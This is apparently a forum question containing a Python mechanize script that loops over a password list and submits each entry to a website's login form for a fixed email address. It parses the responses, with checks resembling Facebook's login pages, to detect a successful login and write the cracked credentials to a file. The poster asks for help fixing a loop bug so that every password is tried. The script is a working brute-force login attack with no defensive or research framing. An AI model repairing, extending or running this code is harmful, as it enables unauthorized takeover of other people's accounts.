The issue I am having with my code is, only the last password in the text file is been tried by the script, but if I put the correct password in the last line it login successful again I want if the login is successful, it should save the username and password in a text file.
from gettext import find
from operator import truediv
import mechanize
browser = mechanize.Browser()
browser.set_handle_robots(False)
cookies = mechanize.CookieJar()
browser.set_cookiejar(cookies)
browser.addheaders = [('user_agent', 'Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36')]
browser.set_handle_refresh(False)
import codecs
PASSWORD_FILE = "passwd.txt"
password_data = open(PASSWORD_FILE, 'r').read().split("\n")
for index, password in zip(range(password_data.__len__()), password_data):
password2 = password.strip()
#print(password2)
url = "https://www.example.com/"
browser.open(url)
browser.select_form(nr = 0) #This is login-password form -> nr = number = 0
browser.form['email'] = '****@gmail.com'
bt = browser.form['pass'] = password2
print(bt)
response = browser.submit()
#print (response.read())
string1_aft_decode = codecs.decode(response.read())
#print(string1_aft_decode)
if 'Account' in string1_aft_decode or "Log Out" in string1_aft_decode:
open('successlogs.txt', 'w').write(str(string1_aft_decode.content))
print('Accound Found: Login Successful')
elif 'checkpoint' in string1_aft_decode or 'verify your account' in string1_aft_decode:
print('Account Found: In Checkpoint')
open('successlogs.txt', 'w').write(str("Account Found: email - password"))
elif 'The password you entered is incorrect. ' in string1_aft_decode:
print('Account Found: The Password You Entered Is Incorrect')
elif 'you are already login' in string1_aft_decode or 'Not now' in string1_aft_decode:
print('Account Found: Already LOgin')
print ("RESULT URL", response.geturl())
print ("RESULT URL", response.info())
else:
print('No Account Found')
the last password in the password file is: PasswordTestEnd
output:
PasswordTestEnd
Account Found: The Password You Entered Is Incorrect
[Done] exited with code=0 in 7.36 seconds
as you can see it show the email is valid but unable to get the right password, because it only input the last password in the password file.